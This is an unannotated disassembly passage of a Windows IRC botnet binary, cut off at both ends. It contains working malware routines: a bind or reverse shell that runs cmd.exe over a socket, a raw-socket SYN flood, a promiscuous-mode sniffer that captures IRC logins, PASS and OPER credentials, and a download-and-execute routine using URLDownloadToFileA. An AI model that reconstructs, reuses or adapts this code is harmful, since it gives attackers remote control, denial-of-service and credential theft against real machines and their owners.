loc_4040B3 push offset a__ ; ".." lea eax, [ebp+var_514] push eax call dword_4010AC ; lstrcmpA test eax, eax jnz short loc_4040B5 loc_4040B3: ; CODE XREF: sub_404033+68j jmp short loc_404124 ; --------------------------------------------------------------------------- loc_4040B5: ; CODE XREF: sub_404033+7Ej lea eax, [ebp+var_514] push eax push [ebp+arg_0] push offset a_256s_250s ; "%.256s%.250s\\" lea eax, [ebp+var_200] push eax call dword_401104 ; wsprintfA add esp, 10h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_404033 jmp short loc_404124 ; --------------------------------------------------------------------------- loc_4040E5: ; CODE XREF: sub_404033+52j lea eax, [ebp+var_514] push eax push [ebp+arg_4] call sub_403E5B cmp eax, 1 jnz short loc_404124 lea eax, [ebp+var_514] push eax push [ebp+arg_0] push offset aFindfile_256s_ ; "[findfile] %.256s%.240s" lea eax, [ebp+var_400] push eax call dword_401104 ; wsprintfA add esp, 10h lea eax, [ebp+var_400] push eax call sub_402C53 loc_404124: ; CODE XREF: sub_404033:loc_4040B3j ; sub_404033+B0j ... lea eax, [ebp+var_540] push eax push [ebp+var_544] call dword_401080 ; FindNextFileA test eax, eax jnz loc_40407C push [ebp+var_544] call dword_40107C ; FindClose locret_40414B: ; CODE XREF: sub_404033+44j leave retn 8 sub_404033 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40414F proc near ; CODE XREF: sub_403062+437p var_274 = dword ptr -274h var_270 = word ptr -270h var_26E = word ptr -26Eh var_26C = dword ptr -26Ch var_260 = dword ptr -260h var_234 = dword ptr -234h var_230 = word ptr -230h var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_214 = dword ptr -214h var_210 = byte ptr -210h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h and [ebp+var_108], 0 push 100h push [ebp+arg_0] lea eax, [ebp+var_104] push eax call dword_4010BC ; lstrcpynA push 0 push 0 lea eax, [ebp+var_108] push eax push offset loc_4041A9 push 0 push 0 call dword_4010B4 ; CreateThread test eax, eax jz short locret_4041A5 loc_404192: ; CODE XREF: sub_40414F+54j cmp [ebp+var_108], 0 jnz short locret_4041A5 push 8 call dword_4010DC ; Sleep jmp short loc_404192 ; --------------------------------------------------------------------------- locret_4041A5: ; CODE XREF: sub_40414F+41j ; sub_40414F+4Aj leave retn 4 ; --------------------------------------------------------------------------- loc_4041A9: ; DATA XREF: sub_40414F+30o push ebp mov ebp, esp sub esp, 274h push 100h mov eax, [ebp+arg_0] add eax, 4 push eax lea eax, [ebp+var_108] push eax call dword_4010BC ; lstrcpynA mov eax, [ebp+arg_0] mov dword ptr [eax], 1 push 3Ah lea eax, [ebp+var_108] push eax call sub_40395A mov [ebp+var_214], eax cmp [ebp+var_214], 0 jnz short loc_4041F8 xor eax, eax jmp locret_4043B0 ; --------------------------------------------------------------------------- loc_4041F8: ; CODE XREF: sub_40414F+A0j mov eax, [ebp+var_214] mov byte ptr [eax], 0 mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax and word ptr [ebp+var_4], 0 jmp short loc_404222 ; --------------------------------------------------------------------------- loc_404215: ; CODE XREF: sub_40414F+104j mov eax, [ebp+var_214] inc eax mov [ebp+var_214], eax loc_404222: ; CODE XREF: sub_40414F+C4j mov eax, [ebp+var_214] movzx eax, byte ptr [eax] test eax, eax jz short loc_404255 movzx eax, word ptr [ebp+var_4] imul eax, 0Ah mov word ptr [ebp+var_4], ax mov eax, [ebp+var_214] movzx eax, byte ptr [eax] sub eax, 30h movzx eax, ax movzx ecx, word ptr [ebp+var_4] add ecx, eax mov word ptr [ebp+var_4], cx jmp short loc_404215 ; --------------------------------------------------------------------------- loc_404255: ; CODE XREF: sub_40414F+DEj lea eax, [ebp+var_108] push eax call dword_40111C ; inet_addr mov [ebp+var_26C], eax push [ebp+var_4] call dword_40110C ; ntohs mov [ebp+var_26E], ax mov [ebp+var_270], 2 cmp [ebp+var_26C], 0 jnz short loc_4042E9 push 0 push 0 push 0 push 6 push 1 push 2 call dword_401124 ; WSASocketA mov [ebp+var_274], eax push 10h lea eax, [ebp+var_270] push eax push [ebp+var_274] call dword_401148 ; bind push 0 push [ebp+var_274] call dword_40114C ; listen push 0 push 0 push [ebp+var_274] call dword_401150 ; accept mov [ebp+var_10C], eax push [ebp+var_274] call dword_401140 ; closesocket jmp short loc_404316 ; --------------------------------------------------------------------------- loc_4042E9: ; CODE XREF: sub_40414F+139j push 0 push 0 push 0 push 6 push 1 push 2 call dword_401124 ; WSASocketA mov [ebp+var_10C], eax push 10h lea eax, [ebp+var_270] push eax push [ebp+var_10C] call dword_40112C ; connect loc_404316: ; CODE XREF: sub_40414F+198j push 44h lea eax, [ebp+var_260] push eax call sub_4038D9 mov [ebp+var_260], 44h mov [ebp+var_234], 181h and [ebp+var_230], 0 mov eax, [ebp+var_10C] mov [ebp+var_224], eax mov eax, [ebp+var_224] mov [ebp+var_228], eax mov eax, [ebp+var_228] mov [ebp+var_220], eax push 100h lea eax, [ebp+var_210] push eax push offset aComspecQ ; "\"%comspec%\" /Q" call dword_401088 ; ExpandEnvironmentStringsA push offset aD ; "d" lea eax, [ebp+var_260] push eax push 0 push 0 push 10h push 1 push 0 push 0 lea eax, [ebp+var_210] push eax push 0 call dword_4010A8 ; CreateProcessA push [ebp+var_10C] call dword_401140 ; closesocket xor eax, eax locret_4043B0: ; CODE XREF: sub_40414F+A4j leave retn 4 sub_40414F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043B4 proc near ; CODE XREF: sub_403062+36Dp var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push 20h push [ebp+arg_0] call sub_40395A mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4043D2 jmp locret_4044BC ; --------------------------------------------------------------------------- loc_4043D2: ; CODE XREF: sub_4043B4+17j mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push 20h push [ebp+arg_0] lea eax, [ebp+var_2C] push eax call dword_4010BC ; lstrcpynA push 20h push [ebp+var_4] call sub_40395A mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_404406 jmp locret_4044BC ; --------------------------------------------------------------------------- loc_404406: ; CODE XREF: sub_4043B4+4Bj mov eax, [ebp+var_8] mov byte ptr [eax], 0 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax and [ebp+var_C], 0 jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441A: ; CODE XREF: sub_4043B4+98j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404421: ; CODE XREF: sub_4043B4+64j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40444E movzx eax, [ebp+var_C] imul eax, 0Ah mov [ebp+var_C], ax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] sub eax, 30h movzx eax, ax movzx ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], cx jmp short loc_40441A ; --------------------------------------------------------------------------- loc_40444E: ; CODE XREF: sub_4043B4+75j and [ebp+var_30], 0 jmp short loc_40445B ; --------------------------------------------------------------------------- loc_404454: ; CODE XREF: sub_4043B4+CAj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40445B: ; CODE XREF: sub_4043B4+9Ej mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_404480 mov eax, [ebp+var_30] imul eax, 0Ah mov [ebp+var_30], eax mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+var_30] lea eax, [ecx+eax-30h] mov [ebp+var_30], eax jmp short loc_404454 ; --------------------------------------------------------------------------- loc_404480: ; CODE XREF: sub_4043B4+AFj mov eax, [ebp+arg_4] mov [ebp+var_34], eax and [ebp+var_38], 0 and dword_4014CC, 0 push 0 push 0 lea eax, [ebp+var_38] push eax push offset loc_4044CF push 0 push 0 call dword_4010B4 ; CreateThread test eax, eax jz short locret_4044BC loc_4044AC: ; CODE XREF: sub_4043B4+106j cmp [ebp+var_38], 0 jnz short locret_4044BC push 8 call dword_4010DC ; Sleep jmp short loc_4044AC ; --------------------------------------------------------------------------- locret_4044BC: ; CODE XREF: sub_4043B4+19j ; sub_4043B4+4Dj ... leave retn 8 sub_4043B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044C0 proc near ; CODE XREF: sub_403062:loc_4033D9p push ebp mov ebp, esp mov dword_4014CC, 1 pop ebp retn sub_4044C0 endp ; --------------------------------------------------------------------------- loc_4044CF: ; DATA XREF: sub_4043B4+E5o push ebp mov ebp, esp sub esp, 308h push esi push edi mov esi, [ebp+8] push 0Bh pop ecx lea edi, [ebp-2A4h] rep movsd movsw mov eax, [ebp+8] mov dword ptr [eax], 1 push 0FFh push 3 push 2 call dword_401160 ; socket mov [ebp-44h], eax cmp dword ptr [ebp-44h], 0FFFFFFFFh jnz short loc_404512 xor eax, eax jmp loc_404862 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: MEW:00404509j mov dword ptr [ebp-2ACh], 1 push 4 lea eax, [ebp-2ACh] push eax push 2 push 0 push dword ptr [ebp-44h] call dword_401128 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40453E xor eax, eax jmp loc_404862 ; --------------------------------------------------------------------------- loc_40453E: ; CODE XREF: MEW:00404535j lea eax, [ebp-298h] push eax call dword_40111C ; inet_addr mov [ebp-8], eax mov word ptr [ebp-18h], 2 and word ptr [ebp-16h], 0 mov eax, [ebp-8] mov [ebp-14h], eax mov dword ptr [ebp-4], 10h lea eax, [ebp-4] push eax lea eax, [ebp-260h] push eax push dword_4014DC call dword_401134 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404589 xor eax, eax jmp loc_404862 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: MEW:00404580j call dword_4010A4 ; GetTickCount and eax, 0FFh shl eax, 18h xor eax, [ebp-25Ch] mov [ebp-1Ch], eax mov byte ptr [ebp-40h], 45h mov word ptr [ebp-3Eh], 2800h mov word ptr [ebp-3Ch], 1 and word ptr [ebp-3Ah], 0 mov byte ptr [ebp-38h], 80h mov byte ptr [ebp-37h], 6 and word ptr [ebp-36h], 0 call dword_4010A4 ; GetTickCount xor eax, 95EC27A5h mov [ebp-270h], eax and dword ptr [ebp-26Ch], 0 mov byte ptr [ebp-267h], 2 mov byte ptr [ebp-268h], 50h mov word ptr [ebp-266h], 2 and word ptr [ebp-262h], 0 and word ptr [ebp-264h], 0 mov byte ptr [ebp-24h], 0 mov byte ptr [ebp-23h], 6 mov word ptr [ebp-22h], 1400h mov eax, [ebp-8] mov [ebp-30h], eax mov eax, [ebp-8] mov [ebp-28h], eax mov eax, [ebp-1Ch] mov [ebp-34h], eax mov eax, [ebp-1Ch] mov [ebp-2Ch], eax movzx eax, word ptr [ebp-278h] test eax, eax jnz short loc_404646 call dword_4010A4 ; GetTickCount and eax, 0FFFFh mov [ebp-272h], ax jmp short loc_404659 ; --------------------------------------------------------------------------- loc_404646: ; CODE XREF: MEW:00404630j push dword ptr [ebp-278h] call dword_40110C ; ntohs mov [ebp-272h], ax loc_404659: ; CODE XREF: MEW:00404644j call dword_4010A4 ; GetTickCount and eax, 0FFFFh xor eax, 82E4h mov [ebp-274h], ax push 0Ch lea eax, [ebp-2Ch] push eax lea eax, [ebp-2E8h] push eax call sub_40392B push 14h lea eax, [ebp-274h] push eax lea eax, [ebp-2DCh] push eax call sub_40392B push 20h lea eax, [ebp-2E8h] push eax call sub_404868 mov [ebp-2CCh], ax push 14h lea eax, [ebp-40h] push eax lea eax, [ebp-2F0h] push eax call sub_40392B push 28h lea eax, [ebp-2F0h] push eax call sub_404868 mov [ebp-2E6h], ax mov dword ptr [ebp-48h], 1 call dword_4010A4 ; GetTickCount mov [ebp-250h], eax mov eax, [ebp-29Ch] imul eax, 3E8h add eax, [ebp-250h] mov [ebp-24Ch], eax push 10h lea eax, [ebp-18h] push eax push 0 push 28h lea eax, [ebp-2F0h] push eax push dword ptr [ebp-44h] call dword_401110 ; sendto cmp eax, 0FFFFFFFFh jnz short loc_404724 xor eax, eax jmp loc_404862 ; --------------------------------------------------------------------------- loc_404724: ; CODE XREF: MEW:0040471Bj ; MEW:004047ACj call dword_4010A4 ; GetTickCount cmp eax, [ebp-24Ch] jnb short loc_4047B1 cmp dword_4014CC, 0 jnz short loc_4047B1 push 10h lea eax, [ebp-18h] push eax push 0 push 28h lea eax, [ebp-2F0h] push eax push dword ptr [ebp-44h] call dword_401110 ; sendto push 10h lea eax, [ebp-18h] push eax push 0 push 28h lea eax, [ebp-2F0h] push eax push dword ptr [ebp-44h] call dword_401110 ; sendto push 10h lea eax, [ebp-18h] push eax push 0 push 28h lea eax, [ebp-2F0h] push eax push dword ptr [ebp-44h] call dword_401110 ; sendto push 10h lea eax, [ebp-18h] push eax push 0 push 28h lea eax, [ebp-2F0h] push eax push dword ptr [ebp-44h] call dword_401110 ; sendto mov eax, [ebp-48h] add eax, 4 mov [ebp-48h], eax jmp loc_404724 ; --------------------------------------------------------------------------- loc_4047B1: ; CODE XREF: MEW:00404730j ; MEW:00404739j call dword_4010A4 ; GetTickCount sub eax, [ebp-250h] mov [ebp-2A8h], eax push dword ptr [ebp-44h] call dword_401140 ; closesocket cmp dword ptr [ebp-2A0h], 0 jnz loc_404860 mov eax, [ebp-48h] imul eax, 28h mov [ebp-20h], eax mov eax, [ebp-20h] shr eax, 0Ah mov [ebp-2F8h], eax and dword ptr [ebp-2F4h], 0 fild qword ptr [ebp-2F8h] mov eax, [ebp-2A8h] mov [ebp-300h], eax and dword ptr [ebp-2FCh], 0 fild qword ptr [ebp-300h] fdivp st(1), st fmul dbl_401B88 fistp qword ptr [ebp-308h] push dword ptr [ebp-308h] mov eax, [ebp-20h] shr eax, 14h push eax push dword ptr [ebp-48h] push dword ptr [ebp-2A8h] lea eax, [ebp-298h] push eax push offset aSyn_16sDoneUms ; "[syn:%.16s] done [%ums] [%u packets] [%"... lea eax, [ebp-248h] push eax call dword_401104 ; wsprintfA add esp, 1Ch lea eax, [ebp-248h] push eax call sub_402C53 loc_404860: ; CODE XREF: MEW:004047D3j xor eax, eax loc_404862: ; CODE XREF: MEW:0040450Dj ; MEW:00404539j ... pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404868 proc near ; CODE XREF: MEW:004046A0p ; MEW:004046C7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404870: ; CODE XREF: sub_404868+2Aj cmp [ebp+arg_4], 2 jb short loc_404894 mov eax, [ebp+arg_0] movzx eax, word ptr [eax] add eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404870 ; --------------------------------------------------------------------------- loc_404894: ; CODE XREF: sub_404868+Cj cmp [ebp+arg_4], 0 jz short loc_4048A6 mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] add eax, [ebp+var_4] mov [ebp+var_4], eax loc_4048A6: ; CODE XREF: sub_404868+30j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h add eax, [ebp+var_4] mov [ebp+var_4], eax mov eax, [ebp+var_4] not eax leave retn 8 sub_404868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048CF proc near ; CODE XREF: sub_403062:loc_4033A6p push ebp mov ebp, esp cmp dword_401688, 1 jnz short loc_4048F7 and dword_401688, 0 push 0 push 0 push 0 push offset loc_404908 push 0 push 0 call dword_4010B4 ; CreateThread loc_4048F7: ; CODE XREF: sub_4048CF+Aj pop ebp retn sub_4048CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048F9 proc near ; CODE XREF: sub_403062:loc_4033B0p push ebp mov ebp, esp mov dword_401688, 1 pop ebp retn sub_4048F9 endp ; --------------------------------------------------------------------------- loc_404908: ; DATA XREF: sub_4048CF+19o push ebp mov ebp, esp sub esp, 1F8h mov dword ptr [ebp-10h], 10h lea eax, [ebp-10h] push eax lea eax, [ebp-1F8h] push eax push dword_4014DC call dword_401134 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_40493B xor eax, eax jmp locret_404C4D ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: MEW:00404932j and word ptr [ebp-1F6h], 0 push 0 push 3 push 2 call dword_401160 ; socket mov [ebp-38h], eax cmp dword ptr [ebp-38h], 0FFFFFFFFh jnz short loc_40495F xor eax, eax jmp locret_404C4D ; --------------------------------------------------------------------------- loc_40495F: ; CODE XREF: MEW:00404956j push 10h lea eax, [ebp-1F8h] push eax push dword ptr [ebp-38h] call dword_401148 ; bind cmp eax, 0FFFFFFFFh jnz short loc_404986 push dword ptr [ebp-38h] call dword_401140 ; closesocket xor eax, eax jmp locret_404C4D ; --------------------------------------------------------------------------- loc_404986: ; CODE XREF: MEW:00404974j mov dword ptr [ebp-14h], 1 push 0 push 0 lea eax, [ebp-44h] push eax push 0 push 0 push 4 lea eax, [ebp-14h] push eax push 98000001h push dword ptr [ebp-38h] call dword_401118 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4049C2 push dword ptr [ebp-38h] call dword_401140 ; closesocket xor eax, eax jmp locret_404C4D ; --------------------------------------------------------------------------- loc_4049C2: ; CODE XREF: MEW:004049B0j push 10000h push 0 call dword_401090 ; GlobalAlloc mov [ebp-48h], eax mov eax, [ebp-48h] mov [ebp-34h], eax loc_4049D8: ; CODE XREF: MEW:004049FDj ; MEW:00404A0Bj ... cmp dword_401688, 0 jnz loc_404C42 push 0 push 10000h push dword ptr [ebp-48h] push dword ptr [ebp-38h] call dword_40113C ; recv cmp eax, 0FFFFFFFFh jnz short loc_4049FF jmp short loc_4049D8 ; --------------------------------------------------------------------------- loc_4049FF: ; CODE XREF: MEW:004049FBj mov eax, [ebp-34h] movzx eax, byte ptr [eax+9] cmp eax, 6 jz short loc_404A0D jmp short loc_4049D8 ; --------------------------------------------------------------------------- loc_404A0D: ; CODE XREF: MEW:00404A09j mov eax, [ebp-34h] movzx eax, byte ptr [eax] and eax, 0Fh shl eax, 2 mov [ebp-40h], eax cmp dword ptr [ebp-40h], 3Ch jbe short loc_404A24 jmp short loc_4049D8 ; --------------------------------------------------------------------------- loc_404A24: ; CODE XREF: MEW:00404A20j mov eax, [ebp-34h] mov ax, [eax+2] push eax call dword_401114 ; ntohs movzx eax, ax mov [ebp-4Ch], eax mov eax, [ebp-48h] add eax, [ebp-40h] mov [ebp-60h], eax mov eax, [ebp-60h] movzx eax, byte ptr [eax+0Ch] sar eax, 4 shl eax, 2 mov [ebp-30h], eax mov eax, [ebp-40h] add eax, [ebp-30h] mov [ebp-8], eax mov eax, [ebp-8] cmp eax, [ebp-4Ch] jb short loc_404A67 jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: MEW:00404A60j mov eax, [ebp-4Ch] sub eax, [ebp-8] mov [ebp-3Ch], eax mov eax, [ebp-60h] mov ax, [eax] push eax call dword_401114 ; ntohs mov [ebp-4], ax mov eax, [ebp-60h] mov ax, [eax+2] push eax call dword_401114 ; ntohs mov [ebp-28h], ax movzx eax, word ptr [ebp-4] cmp eax, 50h jz short loc_404ADF movzx eax, word ptr [ebp-28h] cmp eax, 50h jz short loc_404ADF movzx eax, word ptr [ebp-4] cmp eax, 19h jz short loc_404ADF movzx eax, word ptr [ebp-28h] cmp eax, 19h jz short loc_404ADF movzx eax, word ptr [ebp-4] cmp eax, 6Eh jz short loc_404ADF movzx eax, word ptr [ebp-28h] cmp eax, 6Eh jz short loc_404ADF movzx eax, word ptr [ebp-4] cmp eax, 8Bh jz short loc_404ADF movzx eax, word ptr [ebp-28h] cmp eax, 8Bh jnz short loc_404AE4 loc_404ADF: ; CODE XREF: MEW:00404A9Aj ; MEW:00404AA3j ... jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404AE4: ; CODE XREF: MEW:00404ADDj mov eax, [ebp-48h] add eax, [ebp-8] mov [ebp-1E8h], eax mov eax, [ebp-1E8h] add eax, [ebp-3Ch] mov byte ptr [eax], 0 and dword ptr [ebp-1E4h], 0 and dword ptr [ebp-2Ch], 0 jmp short loc_404B10 ; --------------------------------------------------------------------------- loc_404B09: ; CODE XREF: MEW:loc_404B75j mov eax, [ebp-2Ch] inc eax mov [ebp-2Ch], eax loc_404B10: ; CODE XREF: MEW:00404B07j mov eax, [ebp-2Ch] cmp eax, [ebp-3Ch] jnb short loc_404B77 mov eax, [ebp-1E8h] add eax, [ebp-2Ch] movsx eax, byte ptr [eax] test eax, eax jz short loc_404B39 mov eax, [ebp-1E8h] add eax, [ebp-2Ch] movsx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_404B47 loc_404B39: ; CODE XREF: MEW:00404B26j mov dword ptr [ebp-1E4h], 1 jmp short loc_404B77 ; --------------------------------------------------------------------------- db 0EBh, 2Eh ; --------------------------------------------------------------------------- loc_404B47: ; CODE XREF: MEW:00404B37j mov eax, [ebp-1E8h] add eax, [ebp-2Ch] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_404B69 mov eax, [ebp-1E8h] add eax, [ebp-2Ch] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_404B75 loc_404B69: ; CODE XREF: MEW:00404B56j mov eax, [ebp-1E8h] add eax, [ebp-2Ch] mov byte ptr [eax], 20h loc_404B75: ; CODE XREF: MEW:00404B67j jmp short loc_404B09 ; --------------------------------------------------------------------------- loc_404B77: ; CODE XREF: MEW:00404B16j ; MEW:00404B43j cmp dword ptr [ebp-1E4h], 1 jnz short loc_404B85 jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404B85: ; CODE XREF: MEW:00404B7Ej push offset dword_4016F8 push dword ptr [ebp-1E8h] call sub_40398B test eax, eax jz short loc_404B9E jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404B9E: ; CODE XREF: MEW:00404B97j push dword ptr [ebp-1E8h] call sub_404C51 cmp eax, 1 jnz loc_404C3D mov eax, [ebp-34h] push dword ptr [eax+0Ch] call dword_401164 ; inet_ntoa mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_404BCC jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404BCC: ; CODE XREF: MEW:00404BC5j push 10h push dword ptr [ebp-0Ch] lea eax, [ebp-5Ch] push eax call dword_4010BC ; lstrcpynA mov eax, [ebp-34h] push dword ptr [eax+10h] call dword_401164 ; inet_ntoa mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_404BF5 jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404BF5: ; CODE XREF: MEW:00404BEEj push 10h push dword ptr [ebp-0Ch] lea eax, [ebp-24h] push eax call dword_4010BC ; lstrcpynA push dword ptr [ebp-1E8h] movzx eax, word ptr [ebp-28h] push eax lea eax, [ebp-24h] push eax movzx eax, word ptr [ebp-4] push eax lea eax, [ebp-5Ch] push eax push offset a_16sHu_16sHu_2 ; "[%.16s:%hu->%.16s:%hu] \"%.256s\"" lea eax, [ebp-1E0h] push eax call dword_401104 ; wsprintfA add esp, 1Ch lea eax, [ebp-1E0h] push eax call sub_402C53 loc_404C3D: ; CODE XREF: MEW:00404BACj jmp loc_4049D8 ; --------------------------------------------------------------------------- loc_404C42: ; CODE XREF: MEW:004049DFj push dword ptr [ebp-48h] call dword_40108C ; GlobalFree xor eax, eax locret_404C4D: ; CODE XREF: MEW:00404936j ; MEW:0040495Aj ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C51 proc near ; CODE XREF: MEW:00404BA4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 38h mov [ebp+var_38], offset a_332? ; "*:*.* 332 * #* :?* *" mov [ebp+var_34], offset aPrivmsg? ; "*PRIVMSG * :?* *" mov [ebp+var_30], offset a?login ; "* :?login * *" mov [ebp+var_2C], offset a?set ; "* :?set * * *" mov [ebp+var_28], offset a?Scan ; "* :?*scan* *" mov [ebp+var_24], offset a?Syn ; "* :?*syn* *" mov [ebp+var_20], offset a?Udp ; "* :?*udp* *" mov [ebp+var_1C], offset a?Ddos ; "* :?*ddos* *" mov [ebp+var_18], offset aUser? ; "USER ?* " mov [ebp+var_14], offset aPass? ; "PASS ?* " mov [ebp+var_10], offset aOper?? ; "OPER ?* ?* *" mov [ebp+var_C], offset aJoin ; "JOIN #* *" and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_404CBC ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_404C51:loc_404CDFj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CBC: ; CODE XREF: sub_404C51+62j mov eax, [ebp+var_4] cmp [ebp+eax*4+var_38], 0 jz short loc_404CE1 push [ebp+arg_0] mov eax, [ebp+var_4] push [ebp+eax*4+var_38] call sub_403E5B cmp eax, 1 jnz short loc_404CDF xor eax, eax inc eax jmp short locret_404CE3 ; --------------------------------------------------------------------------- loc_404CDF: ; CODE XREF: sub_404C51+87j jmp short loc_404CB5 ; --------------------------------------------------------------------------- loc_404CE1: ; CODE XREF: sub_404C51+73j xor eax, eax locret_404CE3: ; CODE XREF: sub_404C51+8Cj leave retn 4 sub_404C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CE7 proc near ; CODE XREF: sub_403062+316p var_3AC = dword ptr -3ACh var_3A8 = byte ptr -3A8h var_224 = dword ptr -224h var_220 = byte ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_110 = byte ptr -110h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 218h and [ebp+var_218], 0 mov eax, [ebp+arg_4] mov [ebp+var_214], eax mov eax, [ebp+arg_8] mov [ebp+var_210], eax push 104h push [ebp+arg_0] lea eax, [ebp+var_20C] push eax call dword_4010BC ; lstrcpynA lea eax, [ebp+var_108] push eax push 0 push offset byte_401C65 push offset a_ ; "." call dword_401094 ; GetTempFileNameA push 0 push 0 lea eax, [ebp+var_218] push eax push offset loc_404D6C push 0 push 0 call dword_4010B4 ; CreateThread test eax, eax jz short locret_404D68 loc_404D55: ; CODE XREF: sub_404CE7+7Fj cmp [ebp+var_218], 0 jnz short locret_404D68 push 8 call dword_4010DC ; Sleep jmp short loc_404D55 ; --------------------------------------------------------------------------- locret_404D68: ; CODE XREF: sub_404CE7+6Cj ; sub_404CE7+75j leave retn 0Ch ; --------------------------------------------------------------------------- loc_404D6C: ; DATA XREF: sub_404CE7+5Bo push ebp mov ebp, esp sub esp, 3ACh push offset aUrlmon_dll ; "urlmon.dll" call dword_401068 ; LoadLibraryA mov [ebp+var_224], eax cmp [ebp+var_224], 0 jz short loc_404DAF push offset aUrldownloadtof ; "URLDownloadToFileA" push [ebp+var_224] call dword_401064 ; GetProcAddress mov [ebp+var_3AC], eax cmp [ebp+var_3AC], 0 jnz short loc_404DB6 loc_404DAF: ; CODE XREF: sub_404CE7+A6j xor eax, eax jmp locret_404EFE ; --------------------------------------------------------------------------- loc_404DB6: ; CODE XREF: sub_404CE7+C6j push 214h push [ebp+arg_0] lea eax, [ebp+var_220] push eax call sub_40392B mov eax, [ebp+arg_0] mov dword ptr [eax], 1 call dword_40106C ; GetCurrentThreadId mov [ebp+var_4], eax cmp [ebp+var_218], 0 jnz short loc_404E17 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_214] push eax push [ebp+var_4] push offset aDl08x_180sTo_1 ; "[dl:%08x] %.180s to %.180s" lea eax, [ebp+var_3A8] push eax call dword_401104 ; wsprintfA add esp, 14h lea eax, [ebp+var_3A8] push eax call sub_402C53 loc_404E17: ; CODE XREF: sub_404CE7+FCj push 0 push 0 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_214] push eax push 0 call [ebp+var_3AC] test eax, eax jnz loc_404ECF push offset aD ; "d" push offset dword_401600 push 0 push 0 push 28h push 0 push 0 push 0 lea eax, [ebp+var_110] push eax push 0 call dword_4010A8 ; CreateProcessA cmp eax, 1 jnz short loc_404EA0 cmp [ebp+var_218], 0 jnz short loc_404E90 push [ebp+var_4] push offset aDl08x ; "[dl:%08x] :)" lea eax, [ebp+var_3A8] push eax call dword_401104 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_3A8] push eax call sub_402C53 loc_404E90: ; CODE XREF: sub_404CE7+183j cmp [ebp+var_21C], 1 jnz short loc_404E9E call sub_4027AF loc_404E9E: ; CODE XREF: 